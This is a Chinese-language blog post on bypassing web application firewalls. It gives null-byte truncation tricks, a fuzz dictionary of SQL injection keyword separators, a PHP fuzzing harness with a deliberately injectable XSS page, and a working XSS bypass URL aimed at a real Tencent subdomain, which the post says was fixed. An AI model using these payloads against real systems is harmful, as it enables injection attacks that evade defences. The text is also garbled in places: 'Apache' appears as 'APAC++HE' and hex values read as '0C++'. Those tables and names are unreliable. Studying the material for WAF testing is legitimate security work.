?

Jun 16 2018

WAF繞過的一些總結和思考

首頁 » 滲透測試 » WAF繞過的一些總結和思考   

(測試環境 windows 2003 Enterprise 中文語言包 + APAC++HE + WAF)

WAF分類:

1.網絡層類

2.最常見且容易部署的應用層類 (部署在APAC++HE之前,APAC++HE之后)

應用層WAF – 利用WAF自身缺陷和MYSQL語法特性并結合實際繞過:

WAF最常見檢測方式:關鍵詞檢測 例如 如果出現 [空格]union[空格] 這樣的SQL語句則視為惡意請求,丟棄這個數據包,XSS代碼同理。

常見的繞過類型:

類型1:

數據包 -> WAF(利用string存儲請求參數,解碼后檢測)-> APAC++HE

C++語言等利用string等儲存結構存儲請求,在解碼時,%00會成為 NULL 從而截斷接下去的請求內容

因此例如 ?id=1%00%20and%201=1 就成為了 ?id=1 從而繞過WAF檢測



類型2:

數據包 -> WAF ->APAC++HE

繞過邏輯:

WAF對某些User-Agent特殊放行(如百度spider 的UA)

WAF對某些POST包特殊放行(文件上傳包)

例子:《安全狗某版本bypass》(http://zone.wooyun.org/content/17331)


類型3:

數據包 -> WAF ->APAC++HE

利用mysql的語法特性和html代碼的特殊書寫方式、瀏覽器的渲染方式繞過。由于實際滲透測試過程中對WAF的實際檢測邏輯并不清楚,所以利用fuzz是最好的方法,這也是WAF最常見的繞過方法。

FUZZ字典:
%a0union%a0 (WAF中正則表達式 \s 并不能匹配 %a0 但MYSQL視之為 空格)
%0aunion%0a
%0bunion%0b (WAF中正則表達式 \s \t 并不能識別匹配 %0b)
%09union%09
/**/union/**/
%0dunion%0d
/*%e4*/union/*%e4*/(UTF8中的半個中文 正則表達式中任意匹配符(.)不能匹配該內容)
`version`() (MYSQL語法特性 函數可以書寫成 `函數名`())
/*!union*/
8E0union (MYSQL語法特性,檢測為浮點數后語境結束,視為空格,下2同)
8.0union
\Nunion
.1union/*.1*/
...

XSS類的一個fuzz實例:

《Fuzz <img src=x [code..] onerror=XSS>來檢測 onerror 前可以無縫連接怎樣的字符》

編寫fuzzz.php 和 fuzz.php 代碼如下

Fuzzz.php:

 <html>
<?php
$urlhex=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'];
$i=0;
$ii=0;
for ($i=0; $i < 16 ; $i++) {
for ($ii=0; $ii < 16; $ii++) {
$hex = $urlhex[$i] . $urlhex[$ii];
$realhex = '%' .$urlhex[$i] . $urlhex[$ii];
echo "<iframe src='http://localhost/fuzz.php?c=".$realhex."&d=".$hex."''></iframe>";

}
}
?>
</html>

Fuzz.php:


<?php
$code = $_GET['c'];
$cc = $_GET['d'];
?>
<html>
<img src=x <?php echo $code?>onerror="alert('<?php echo $cc?>')">
</html>



運行Fuzzz.php 進行自動fuzz,結果為:

0c,0d,2f,0a,20,09


1506031300c24c8e0557b05eb0.jpg

同理可以fuzz出各種標簽的其他位置可以插入的特殊字符。


附SQL語句空白符FUZZ結果 (http://zone.wooyun.org/content/15953)

SQLite3:0A,0D,0C++,09,20
MySQL5:09,0A,0B,0C++,0D,A0,20
PosgresSQL:0A,0D,0C++,09,20
Oracle_11g:00,0A,0D,0C++,09,20
MSSQL:01,02,03,04,05,06,07,08,09,0A,0B,0C++,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C++,1D,1E,1F,20


類型4:

數據包 -> WAF ->APAC++HE
這是WAF無法考慮到的…
多次惡意代碼檢測和處理 留下的隱患:
例子(已修復):
漏洞名稱:crm2.qq.com XSS
提交時間:2015-03-30 13:39:31
“這個時候就遇到了你們的迷之waf,<script>果斷501啊,崩潰了半小時,稍微fuzz了一下,發現%0a會無視掉,成功bypass waf”
最后構造的XSS為:
http://crm2.qq.com/page/portalpage/wpa.php?uin=40012345&f=5&ty=6666&ap=%23&debug=1&bt=\x3csc%0aript\x3eale%0art()
這里有一個tencent waf ,對XSS代碼也有一定的防御檢測,在get請求中出現 <script> , alert() , <svg> 等關鍵詞時,觸發waf,返回錯誤碼501
但由于參數在經過waf檢測后,通過php的 $_GET[] 函數取得,并繼續進行關鍵詞過濾,經過筆者的一番fuzz,發現它會匹配換行符 %0a 并丟棄后輸出,因此在這個邏輯下:
<scri%0apt>aler%0at()
經過waf 時,通過了檢測(并沒有關鍵詞),然后經過php的字符串處理后,依然輸出了惡意代碼。



類型5:

數據包 -> WAF ->APAC++HE
畸形HTTP包,
利用ApacheHTTP包的兼容性和WAF對畸形HTTP包的不兼容性繞過WAF

總結:

對于普遍的應用層WAF,fuzz是測試waf的較好的方法,利用MYSQL的一些語法特性和瀏覽器的一些渲染方式,構造出一份強大的fuzz字典,或許就可以繞過waf的關鍵詞檢測。
同時,WAF和php代碼的連接靈活性也是很值得考慮的,例如類型4,多次對傳入數據進行處理反而容易留下隱患。

如果您喜歡本博客,歡迎點擊圖片定訂閱到郵箱填寫您的郵件地址,訂閱我們的精彩內容:

正文部分到此結束

文章標簽:這篇文章木有標簽

版權聲明:若無特殊注明,本文皆為( mOon )原創,轉載請保留文章出處。

也許喜歡: «一些bypass語句 | Dedecms最新版任意用戶密碼重置漏洞的疑問»

你腫么看?

你還可以輸入 250/250 個字

? 微笑 大笑 拽 大哭 親親 流汗 噴血 奸笑 囧 不爽 暈 示愛 害羞 吃驚 驚嘆 愛你 嚇死了 呵呵

評論信息框

這篇文章還沒有收到評論,趕緊來搶沙發吧~

?
?
河北11选5开奖